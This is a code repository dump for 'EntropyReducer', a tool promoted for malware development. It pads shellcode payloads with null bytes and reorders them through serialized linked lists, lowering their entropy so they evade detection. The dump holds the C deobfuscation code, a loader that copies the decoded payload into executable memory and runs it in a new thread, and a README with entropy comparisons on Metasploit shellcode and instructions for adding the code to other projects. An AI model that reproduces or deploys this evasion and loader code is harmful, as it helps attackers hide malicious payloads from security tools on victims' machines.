harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /PoC/EntropyReducer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | #include "EntropyReducer.h" 6 | 7 | 8 | struct LINKED_LIST; 9 | typedef struct _LINKED_LIST 10 | { 11 | BYTE pBuffer[BUFF_SIZE]; // payload's bytes 12 | BYTE pNull[NULL_BYTES]; // null padded bytes 13 | INT ID; // node id 14 | struct LINKED_LIST* Next; // next node pointer 15 | 16 | }LINKED_LIST, * PLINKED_LIST; 17 | 18 | // this will represent the seraizlized size of one node 19 | #define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT)) 20 | 21 | // serialized payload size: SERIALIZED_SIZE * (number of nodes) 22 | // number of nodes: (padded payload size) / BUFF_SIZE 23 | 24 | typedef enum SORT_TYPE { 25 | SORT_BY_ID, 26 | SORT_BY_BUFFER 27 | }; 28 | 29 | 30 | // set the 'sPayloadSize' variable to be equal to the next nearest number that is multiple of 'N' 31 | #define NEAREST_MULTIPLE(sPayloadSize, N)(SIZE_T)((SIZE_T)sPayloadSize + (int)N - ((SIZE_T)sPayloadSize % (int)N)) 32 | 33 | 34 | // used to insert a node at the end of the given linked list 35 | // - LinkedList: a variable pointing to a 'LINKED_LIST' structure, this will represent the linked list head, this variable can be NULL, and thus will be initialized here 36 | // - pBuffer: the payload chunk (of size 'BUFF_SIZE') 37 | // - ID: the id of the node 38 | PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE pBuffer, IN INT ID) 39 | { 40 | 41 | // new tmp pointer, pointing to the head of the linked list 42 | PLINKED_LIST pTmpHead = (PLINKED_LIST)LinkedList; 43 | 44 | // creating a new node 45 | PLINKED_LIST pNewNode = (PLINKED_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LINKED_LIST)); 46 | if (!pNewNode) 47 | return NULL; 48 | memcpy(pNewNode->pBuffer, pBuffer, BUFF_SIZE); 49 | pNewNode->ID = ID; 50 | pNewNode->Next = NULL; 51 | 52 | // if the head is null, it will start at the new node we created earlier 53 | if (LinkedList == NULL) { 54 | LinkedList = pNewNode; 55 | return LinkedList; 56 | } 57 | 58 | // else we will keep walking down the linked list till we find an empty node 59 | while (pTmpHead->Next != NULL) 60 | pTmpHead = pTmpHead->Next; 61 | 62 | // pTmpHead now is the last node in the linked list 63 | // setting the 'Next' value to the new node 64 | pTmpHead->Next = pNewNode; 65 | 66 | // returning the head of the linked list 67 | return LinkedList; 68 | } 69 | 70 | 71 | // covert raw payload bytes to a linked list 72 | // - pPayload: Base Address of the payload 73 | // - sPayloadSize: pointer to a SIZE_T variable that holds the size of the payload, it will be set to the serialized size of the linked list 74 | // - ppLinkedList: pointer to a LINKED_LIST structure, that will represent the head of the linked list 75 | BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T sPayloadSize, OUT PLINKED_LIST* ppLinkedList) 76 | { 77 | 78 | // variable used to count the linked list elements (used to calculate the final size) 79 | // it is also used as the node's ID 80 | unsigned int x = 0; 81 | 82 | 83 | // setting the payload size to be multiple of 'BUFF_SIZE' 84 | SIZE_T sTmpSize = NEAREST_MULTIPLE(*sPayloadSize, BUFF_SIZE); 85 | if (!sTmpSize) 86 | return FALSE; 87 | 88 | // new padded buffer 89 | PBYTE pTmpBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sTmpSize); 90 | if (!pTmpBuffer) 91 | return FALSE; 92 | 93 | memcpy(pTmpBuffer, pPayload, *sPayloadSize); 94 | 95 | // for each 'BUFF_SIZE' in the padded payload, add it to the linked list 96 | for (int i = 0; i < sTmpSize; i++) { 97 | if (i % BUFF_SIZE == 0) { 98 | *ppLinkedList = InsertAtTheEnd((PLINKED_LIST)*ppLinkedList, &pTmpBuffer[i], x); 99 | x++; 100 | } 101 | } 102 | 103 | // updating the size to be the size of the whole *serialized* linked list 104 | *sPayloadSize = SERIALIZED_SIZE * x; 105 | 106 | // if the head is null 107 | if (*ppLinkedList == NULL) 108 | return FALSE; 109 | 110 | return TRUE; 111 | } 112 | 113 | 114 | //------------------------------------------------------------------------------------------------------------------------------------------------------ 115 | // the following is the mergesort algorithm implementation 116 | 117 | // split the nodes of the list into two sublists 118 | void Split(PLINKED_LIST top, PLINKED_LIST* front, PLINKED_LIST* back) { 119 | PLINKED_LIST fast = top->Next; 120 | PLINKED_LIST slow = top; 121 | 122 | /* fast pointer advances two nodes, slow pointer advances one node */ 123 | while (fast != NULL) { 124 | fast = fast->Next; /* "fast" moves on first time */ 125 | if (fast != NULL) { 126 | slow = slow->Next; /* "slow" moves on first time */ 127 | fast = fast->Next; /* "fast" moves on second time */ 128 | } 129 | } 130 | 131 | /* "slow" is before the middle in the list, so split it in two at that point */ 132 | *front = top; 133 | *back = slow->Next; 134 | slow->Next = NULL; /* end of the input list */ 135 | } 136 | 137 | 138 | // merge two linked lists 139 | PLINKED_LIST Merge(PLINKED_LIST top1, PLINKED_LIST top2, enum SORT_TYPE eType) { 140 | if (top1 == NULL) 141 | return top2; 142 | else 143 | if (top2 == NULL) 144 | return top1; 145 | 146 | PLINKED_LIST pnt = NULL; 147 | 148 | int iValue1 = 0; 149 | int iValue2 = 0; 150 | 151 | switch (eType) { 152 | // this is used to deobfuscate 153 | case SORT_BY_ID: { 154 | iValue1 = (int)top1->ID; 155 | iValue2 = (int)top2->ID; 156 | break; 157 | } 158 | // this is used to obfuscate 159 | case SORT_BY_BUFFER: { 160 | iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer[2]); // calculating a value from the payload buffer chunk 161 | iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer[2]); // calculating a value from the payload buffer chunk 162 | break; 163 | } 164 | default: { 165 | return NULL; 166 | } 167 | } 168 | 169 | /* pick either top1 or top2, and merge them */ 170 | if (iValue1 <= iValue2) { 171 | pnt = top1; 172 | pnt->Next = Merge(top1->Next, top2, eType); 173 | } 174 | else { 175 | pnt = top2; 176 | pnt->Next = Merge(top1, top2->Next, eType); 177 | } 178 | return pnt; 179 | } 180 | 181 | 182 | // the main sorting function 183 | // - pLinkedList : is the head node of the linked list 184 | // - eType : 185 | // * is set to SORT_BY_BUFFER to obfuscate 186 | // * is set to SORT_BY_ID to deobfuscate 187 | VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType) { 188 | PLINKED_LIST tmp = *top, * a, * b; 189 | 190 | if (tmp != NULL && tmp->Next != NULL) { 191 | Split(tmp, &a, &b); /* (divide) split head into "a" and "b" sublists */ 192 | 193 | /* (conquer) sort the sublists */ 194 | MergeSort(&a, eType); 195 | MergeSort(&b, eType); 196 | 197 | *top = Merge(a, b, eType); /* (combine) merge the two sorted lists together */ 198 | } 199 | } 200 | 201 | 202 | //------------------------------------------------------------------------------------------------------------------------------------------------------ 203 | 204 | 205 | BOOL Deobfuscate(IN PBYTE pFuscatedBuff, IN SIZE_T sFuscatedSize, OUT PBYTE* ptPayload, OUT PSIZE_T psSize) 206 | { 207 | PLINKED_LIST pLinkedList = NULL; 208 | 209 | // deserialize (from buffer to linked list - this must be done to re-order the payload's bytes) 210 | for (size_t i = 0; i < sFuscatedSize; i++) { 211 | if (i % SERIALIZED_SIZE == 0) 212 | pLinkedList = InsertAtTheEnd(pLinkedList, &pFuscatedBuff[i], *(int*)&pFuscatedBuff[i + BUFF_SIZE + NULL_BYTES]); 213 | } 214 | 215 | // re-ordering the payload's bytes 216 | MergeSort(&pLinkedList, SORT_BY_ID); 217 | 218 | PLINKED_LIST pTmpHead = pLinkedList; 219 | SIZE_T BufferSize = NULL; 220 | PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, BUFF_SIZE); 221 | unsigned int x = 0x00; 222 | 223 | while (pTmpHead != NULL) { 224 | 225 | BYTE TmpBuffer[BUFF_SIZE] = { 0 }; 226 | 227 | // copying the 'pBuffer' element from each node 228 | memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE); 229 | 230 | BufferSize += BUFF_SIZE; 231 | 232 | // reallocating to fit the new buffer 233 | if (BufferBytes != NULL) { 234 | BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT); 235 | memcpy((PVOID)(BufferBytes + (BufferSize - BUFF_SIZE)), TmpBuffer, BUFF_SIZE); 236 | } 237 | 238 | pTmpHead = pTmpHead->Next; 239 | x++; // number if nodes 240 | } 241 | 242 | *ptPayload = BufferBytes; // payload base address 243 | *psSize = x * BUFF_SIZE; // payload size 244 | 245 | 246 | // free linked list's nodes 247 | pTmpHead = pLinkedList; 248 | PLINKED_LIST pTmpHead2 = pTmpHead->Next; 249 | 250 | while (pTmpHead2 != NULL) { 251 | 252 | if (!HeapFree(GetProcessHeap(), 0, (PVOID)pTmpHead)) { 253 | // failed 254 | } 255 | pTmpHead = pTmpHead2; 256 | pTmpHead2 = pTmpHead2->Next; 257 | } 258 | 259 | 260 | 261 | if (*ptPayload != NULL && *psSize < sFuscatedSize) 262 | return 1; 263 | else 264 | return 0; 265 | } 266 | 267 | 268 | -------------------------------------------------------------------------------- /PoC/EntropyReducer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | 6 | #ifndef HELPER_H 7 | #define HELPER_H 8 | 9 | // these values should be the same as 'EntropyReducer.exe' 10 | // if you modified them there, you need to modify these here as well 11 | #define BUFF_SIZE 0x04 12 | #define NULL_BYTES 0x01 13 | 14 | 15 | // Deobfuscate the payload 16 | // - pFuscatedBuff: base address of the obfuscated payload 17 | // - sFuscatedSize: the size of the obfuscated payload 18 | // - ptPayload: pointer to a PBYTE variable that will recieve the deobfuscated payload base address 19 | // - psSize: pointer to a PSIZE_T variable that will recieve the deobfuscated payload size 20 | BOOL Deobfuscate(IN PBYTE pFuscatedBuff, IN SIZE_T sFuscatedSize, OUT PBYTE* ptPayload, OUT PSIZE_T psSize); 21 | 22 | 23 | #endif // !HELPER_H 24 | -------------------------------------------------------------------------------- /PoC/PoC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {0a3e547d-9a20-492d-ada9-a3bbc5c20dd6} 25 | PoC 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /PoC/PoC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /PoC/PoC.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /PoC/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | program that will read a .ER file (generated by 'EntropyReducer.exe' and run it) 3 | */ 4 | 5 | #include 6 | #include 7 | 8 | #include "EntropyReducer.h" 9 | 10 | 11 | 12 | BOOL ReportError(const char* ApiName) { 13 | printf("[!] \"%s\" [ FAILED ] \t%d \n", ApiName, GetLastError()); 14 | return FALSE; 15 | } 16 | 17 | 18 | int main(int argc, char* argv[]) { 19 | 20 | if (!(argc >= 2)) { 21 | printf("[!] Please Specify Input '.ER' File To Run ... \n"); 22 | return -1; 23 | } 24 | 25 | printf("[i] BUFF_SIZE : [ 0x%0.4X ] - NULL_BYTES : [ 0x%0.4X ]\n", BUFF_SIZE, NULL_BYTES); 26 | 27 | 28 | HANDLE hFile = INVALID_HANDLE_VALUE, 29 | hThread = NULL; 30 | DWORD dwFileSize = NULL; 31 | DWORD dwNumberOfBytesRead = NULL; 32 | PBYTE pBuffer = NULL; 33 | 34 | hFile = CreateFileA((LPCSTR)argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 35 | if (hFile == INVALID_HANDLE_VALUE) 36 | return ReportError("CreateFileA"); 37 | 38 | if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) 39 | return ReportError("GetFileSize"); 40 | 41 | pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize); 42 | if (!pBuffer) 43 | return ReportError("HeapAlloc"); 44 | 45 | if (!ReadFile(hFile, pBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != dwFileSize) { 46 | printf("[i] Read %ld from %ld Bytes \n", dwNumberOfBytesRead, dwFileSize); 47 | return ReportError("ReadFile"); 48 | } 49 | 50 | CloseHandle(hFile); 51 | 52 | //------------------------------------------------------------------------------------------------------------- 53 | 54 | SIZE_T DeobfuscatedPayloadSize = NULL; 55 | PBYTE DeobfuscatedPayloadBuffer = NULL; 56 | 57 | printf("[i] Deobfuscating \"%s\" ... ", argv[1]); 58 | if (!Deobfuscate(pBuffer, dwFileSize, &DeobfuscatedPayloadBuffer, &DeobfuscatedPayloadSize)) { 59 | return -1; 60 | } 61 | printf("[+] DONE \n"); 62 | printf("\t>>> Deobfuscated Payload Size : %ld \n\t>>> Deobfuscated Payload Located At : 0x%p \n", DeobfuscatedPayloadSize, DeobfuscatedPayloadBuffer); 63 | 64 | //------------------------------------------------------------------------------------------------------------- 65 | 66 | 67 | printf("[$] Press To Run ... "); 68 | getchar(); 69 | 70 | PVOID pExecAddress = VirtualAlloc(NULL, DeobfuscatedPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 71 | if (!pExecAddress) 72 | return ReportError("VirtualAlloc"); 73 | 74 | memcpy(pExecAddress, DeobfuscatedPayloadBuffer, DeobfuscatedPayloadSize); 75 | 76 | printf("[i] Running Payload Thread ... "); 77 | 78 | hThread = CreateThread(NULL, NULL, pExecAddress, (PVOID)"pew pew", NULL, NULL); 79 | if (!hThread) 80 | return ReportError("CreateThread"); 81 | 82 | WaitForSingleObject(hThread, INFINITE); 83 | 84 | printf("[+] DONE \n"); 85 | 86 | return 0; 87 | } 88 | 89 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

EntropyReducer: Reduce The Entropy Of Youre Payload And Obfuscate It With Serialized Linked Lists

2 | 3 |
4 | 5 | ### Maldev Academy 6 | For more malware development technqiues visit [maldevacademy.com](https://maldevacademy.com) 7 | 8 | 9 | ### How Does It Work 10 | 11 | 12 | 13 | **EntropyReducer** algorithm is determined by [BUFF_SIZE](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/Common.h#L13) and [NULL_BYTES](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/Common.h#L14) values. The following is how would **EntropyReducer** organize your payload if `BUFF_SIZE` was set to **4**, and `NULL_BYTES` to **2**. 14 | 15 | ![image](https://user-images.githubusercontent.com/111295429/222906172-800d8436-abb4-4c1a-96b6-19a8f0c846cf.png) 16 | 17 |
18 | 19 | 20 | #### Obfuscation Algorithm 21 | 22 | - **EntropyReducer** first checks if the input raw payload is of a size that's multiple of `BUFF_SIZE`, if not, it pads it to be as so. 23 | - It then takes every `BUFF_SIZE` chunk from the payload, and makes a linked list node for it, using the [InitializePayloadList](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/EntropyReducer.c#L10) function, initializing the payload as a linked list. 24 | - The created node will have an empty buffer of size `NULL_BYTES`, that will be used to lower the entropy 25 | - At this point, although **EntropyReducer** completed its task by lowering the entropy of the payload, it doesn't stop here. It then continues to randomize the order of each node in the linked list, breaking down the raw payload's order. This step is done via a [Merge Sort Algorithm](https://www.geeksforgeeks.org/merge-sort-for-linked-list/) that is implemented through the [MergeSort](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/EntropyReducer.c#L160) function. 26 | - The sorted linked list is in random order because the value in which the linked list is *sorted* is the **XOR** value of the first three bytes of the raw payload, this value determines its position in the re-organized linked list, this step can be shown [here](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/EntropyReducer.c#L133) 27 | - Since saving a linked list to a file is [impossible](https://stackoverflow.com/a/9854707/15354012) due to the fact that it's linked together by pointers. We are forced to [serialize](https://qr.ae/prZ6Lx) it. 28 | - Serialization of the generated linked list is done via the `Obfuscate` function [here](https://github.com/Maldev-Academy/EntropyReducer/blob/main/EntropyReducer/main.c#L71). 29 | - After that, the serialized data is ready to be written to the output file. 30 | 31 | 32 |
33 | 34 | #### Deobfuscation Algorithm 35 | 36 | - Since the last step in the `Obfuscation Algorithm` was serializing the linked list, the first thing that must be done here is to deserialize the obfuscated payload, generating a linked list from it, this step is done [here](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.c#L210) in the `Deobfuscate` function. 37 | - Next step is to sort the linked list using the node's Id, which is done using the same [Merge Sort Algorithm](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.c#L216) used before. 38 | - Now, the linked list is in the right order to re-construct the payload's bytes as they should. So we simply strip the payload's original bytes from each node, as done [here](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.c#L223). 39 | - Last step is to free the allocated nodes, which is done [here](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.c#L250). 40 | 41 |
42 | 43 | ### Usage 44 | 45 | - **EntropyReducer** simply read the raw payload file from the command line, and writes the obfuscated version to the same file's name prefixed with ".ER". 46 | - The size of the final obfuscated payload varies depending on the values of both `BUFF_SIZE` and `NULL_BYTES`. However, it can be determined using the following equation 47 | ``` 48 | FinalSize = ((OriginalSize + BUFF_SIZE - OriginalSize % BUFF_SIZE ) / BUFF_SIZE) * (BUFF_SIZE + NULL_BYTES + sizeof(INT)) 49 | ``` 50 | - The [PoC](https://github.com/Maldev-Academy/EntropyReducer/tree/main/PoC) project in this repo is used to execute the `".ER"` file generated as an example of deserializing and deobfuscating it. 51 | 52 |
53 | 54 | ### Include In Your Projects 55 | 56 | All you have to do is add [EntropyReducer.c](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.c) and [EntropyReducer.h](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.h) files to your project, and call the [Deobfuscate](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/EntropyReducer.h#L20) function. You can check [PoC/main.c](https://github.com/Maldev-Academy/EntropyReducer/blob/main/PoC/main.c#L54) for reference. 57 | 58 | 59 |
60 | 61 | ### Output Example 62 | 63 | In this example, `BUFF_SIZE` was set to **3**, and `NULL_BYTES` to **1**. 64 | 65 | - The raw payload, first payload chunk (`FC 48 83`) 66 | 67 | ![image](https://user-images.githubusercontent.com/111295429/222896340-b1d7fe55-6bb3-4614-be91-38c939f8ea77.png) 68 | 69 | 70 | - The same payload chunk, but at a different offset 71 | 72 | ![image](https://user-images.githubusercontent.com/111295429/222896883-8f98a4c0-2820-4af7-b8fb-817069e4cf31.png) 73 | 74 |
75 | 76 | ### Profit 77 | 78 | - The x64 calc shellcode generated by metasploit is of entropy `5.883`, view by [pestudio](https://www.winitor.com/). 79 | 80 | ![image](https://user-images.githubusercontent.com/111295429/222897280-caa4f2dc-bacb-42eb-808f-fbc81094c1de.png) 81 | 82 | 83 | - The same file, AES encrypted, scores entropy of `7.110`. 84 | 85 | ![image](https://user-images.githubusercontent.com/111295429/222897475-45705211-6d4d-41b5-9358-e9ea215f3bd2.png) 86 | 87 | 88 | - Nearly the same result with the RC4 algorithm as well; `7.210` 89 | 90 | ![image](https://user-images.githubusercontent.com/111295429/222897447-32958bb3-1db2-4056-b23a-1c4f53b1a67e.png) 91 | 92 | 93 | - Using **EntropyReducer** however, scoring entropy even lower that that of the original raw payload; `4.093` 94 | 95 | ![image](https://user-images.githubusercontent.com/111295429/222897491-f9217e51-3007-4f1c-a5e4-b8e4c89442c3.png) 96 | 97 | 98 |
99 | 100 | 101 | #### The Merge Sort Algorithm Is Taken From [c-linked-list](https://github.com/Leyxargon/c-linked-list). 102 | 103 | 104 | 105 | 106 | 107 | 108 | --------------------------------------------------------------------------------